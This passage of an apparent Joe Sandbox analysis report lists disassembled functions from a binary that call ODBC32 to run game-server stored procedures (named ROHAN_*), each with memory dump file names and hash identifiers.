                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A4B5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A4ED
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelCharTitle] (?, ?, ?)}, xrefs: 0043A400
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelCharTitle] (?, ?, ?)}
                                                                                                                            • API String ID: 0-940426881
                                                                                                                            • Opcode ID: 17fff7511f244762a4a0b8447a1db00790a900e7f20c7b109d5ea70309e5a545
                                                                                                                            • Instruction ID: 4d7f4c3a82a7968208e7711714c30cd0e106f295e3a6c477626b0c0bd1b3da84
                                                                                                                            • Opcode Fuzzy Hash: 17fff7511f244762a4a0b8447a1db00790a900e7f20c7b109d5ea70309e5a545
                                                                                                                            • Instruction Fuzzy Hash: 35310EB1A40254ABEB24CB44CC52FA97375FB84B18F208699F71D7F2C5D6F26D808B58
                                                                                                                            Function 0042F434 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_CompleteCharSubQuest] (?, ?, ?)},000000FD), ref: 0042F454
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F493
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F4C8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F500
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F538
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_CompleteCharSubQuest] (?, ?, ?)}, xrefs: 0042F44B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_CompleteCharSubQuest] (?, ?, ?)}
                                                                                                                            • API String ID: 0-2289681479
                                                                                                                            • Opcode ID: d2f503a9e2002482a13b27a3aeee487422a36a569b50a00c61b8bd5ff8281338
                                                                                                                            • Instruction ID: 415492781577280b33224eea27a3119e3bb4c7e32bbdf6f7915603cd1167567e
                                                                                                                            • Opcode Fuzzy Hash: d2f503a9e2002482a13b27a3aeee487422a36a569b50a00c61b8bd5ff8281338
                                                                                                                            • Instruction Fuzzy Hash: 3731F0B0A40314ABEB24CF54CD52FA97336EBD4724F208289F6196B2C5D9736D50CB58
                                                                                                                            Function 0042D834 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SetAllianceGuildNotice](?, ?, ?)},000000FD), ref: 0042D85D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D89C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D8D1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D909
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,00000064,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D949
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SetAllianceGuildNotice](?, ?, ?)}, xrefs: 0042D854
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SetAllianceGuildNotice](?, ?, ?)}
                                                                                                                            • API String ID: 0-100653030
                                                                                                                            • Opcode ID: ab9d7c63f6f661d6590fa332f8077d8dc584aa5a943dd2e2c3cb9c2b57dee06a
                                                                                                                            • Instruction ID: 5fc936b88362398da5969f18680b2621f28eb6317e3a935492c55f0cefddb6db
                                                                                                                            • Opcode Fuzzy Hash: ab9d7c63f6f661d6590fa332f8077d8dc584aa5a943dd2e2c3cb9c2b57dee06a
                                                                                                                            • Instruction Fuzzy Hash: 0B3143B06507187BEB24DF14DC52FAB7334FB84755F104288F618AA2C5E6B16E40CF58
                                                                                                                            Function 0042EB4A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 89COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DelCharQuest5] (?, ?, ?)},000000FD), ref: 0042EB6A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042EBA9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042EBDE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042EC16
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042EC4E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DelCharQuest5] (?, ?, ?)}, xrefs: 0042EB61
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DelCharQuest5] (?, ?, ?)}
                                                                                                                            • API String ID: 0-4026403390
                                                                                                                            • Opcode ID: 01e33066effab847a6c5aecfb398bf2d3e29428398710f2a02db5bd790bcae51
                                                                                                                            • Instruction ID: 9f0dbcbc06eafebe0defbb9a09302fc5ef01c36a39bc652e1f546db8fcd12939
                                                                                                                            • Opcode Fuzzy Hash: 01e33066effab847a6c5aecfb398bf2d3e29428398710f2a02db5bd790bcae51
                                                                                                                            • Instruction Fuzzy Hash: 693124B06416146FEB24CF54CC51F997336EBC8724F208289F6152F2C4D576AD908F58
                                                                                                                            Function 00424501 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN3_SendBankToRTM](?,?,?) } ,000000FD), ref: 00424521
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424551
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042457D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004245A9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 004245D5
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN3_SendBankToRTM](?,?,?) } , xrefs: 00424518
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN3_SendBankToRTM](?,?,?) }
                                                                                                                            • API String ID: 0-3059458706
                                                                                                                            • Opcode ID: cd761da88704944da8de8d0129560332a6d47d4290ee74ed0adce9f64a03fc48
                                                                                                                            • Instruction ID: 291e774eb92048823725ef67b264ea5170b3060be4f30488d5b684ac6b07a40b
                                                                                                                            • Opcode Fuzzy Hash: cd761da88704944da8de8d0129560332a6d47d4290ee74ed0adce9f64a03fc48
                                                                                                                            • Instruction Fuzzy Hash: E031CFB1A44208BBEB14DF94CC52FAE7775EF84B18F248209F7206F2C5D6B5B8528758
                                                                                                                            Function 004245DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN3_MoveRTMOutToBank](?,?,?) } ,000000FD), ref: 004245FF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042462F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042465B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00424687
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 004246B3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN3_MoveRTMOutToBank](?,?,?) } , xrefs: 004245F6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN3_MoveRTMOutToBank](?,?,?) }
                                                                                                                            • API String ID: 0-3594972019
                                                                                                                            • Opcode ID: 414954adfa4d075cfdb844137d559032e17f6fd4eed5f7f1dfb16e947d948328
                                                                                                                            • Instruction ID: 86b885cadc76fa0ff5ac842cf0fe60ff3ee560adece04feaed86eb5ef83d74a6
                                                                                                                            • Opcode Fuzzy Hash: 414954adfa4d075cfdb844137d559032e17f6fd4eed5f7f1dfb16e947d948328
                                                                                                                            • Instruction Fuzzy Hash: 2531F0B1A44248BBEB14CFD4CC52FAE7775EB84B18F208209F7217F2C9D6B5A8518758
                                                                                                                            Function 00430673 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ConsignGetItem] (?,?,?)},000000FD), ref: 0043069C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004306DB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00430713
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000EE,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043074B
